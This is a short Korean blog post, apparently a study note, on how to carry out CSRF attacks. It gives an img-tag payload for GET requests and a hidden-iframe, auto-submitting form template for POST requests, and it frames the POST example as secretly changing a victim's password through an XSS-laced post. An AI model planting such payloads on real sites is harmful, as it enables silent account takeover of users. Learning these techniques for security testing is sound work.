[CSRF] CSRF 공격 방법

CHIKA·2024년 7월 9일

GET Method

GET Method로 전송 가능할 때는
img 태그에 공격 URL을 넣으면 된다.

<img src="공격 URL">

🔎 img 태그로 공격 시 alert가 안뜨는 이유?

img 태그는 HTML 요소 중 하나로, 이 태그를 통해 자바스크립트 코드를 실행할 수 없다.
브라우저는 단순히 해당 URL로 이미지를 요청할 뿐이며, URL에 자바스크립트 코드가 포함되어 있어도 이를 실행하지 않는다.

POST Method

GET Method와 달리 URL 공격이 불가능하다.
POST 방식으로 보낼려면 form을 사용하여 원하는 값을 넣어 보내야 한다.
XSS랑 연계하면 POST로도 CSRF공격을 할 수 있다.
예를 들어 비밀번호를 변경하는 요청을 게시글을 클릭한 사용자 몰래 보내고 싶다고 하자.
하지만 form action에 URL을 넣어보내면 새로운 페이지가 열린다.
게시글을 클릭했는데 갑자기 마이페이지 등 새로운 페이지가 열리면 수상하지 않겠는가?
iframe을 사용하면 새로운 페이지나 alert창 등 없이 요청 할 수 있다.

<iframe name="stealthFrame" style="display:none;" sandbox="allow-forms"></iframe>
<!--sandbox="allow-forms" 속성으로 alert 차단-->
<form method = "POST" action= "요청 URL" id="myForm" target="stealthFrame"/>  
<!--Form 태그로 보낼 URL 지정. Burp - 오른쪽 버튼에서 copy URL-->
<input type= "hidden" name= "파라미터" value ="파라미터 값"/>
</form>

<script>
	document.getElementById('myForm').submit();

</script>

🔎 iframe sandbox 속성

  • allow-forms : 폼 제출을 허용
  • allow-same-origin : 동일 출처에서 콘텐츠를 로드하도록 허용
  • allow-scripts : 스크립트 실행을 허용
  • allow-popups : 팝업 창을 허용

0개의 댓글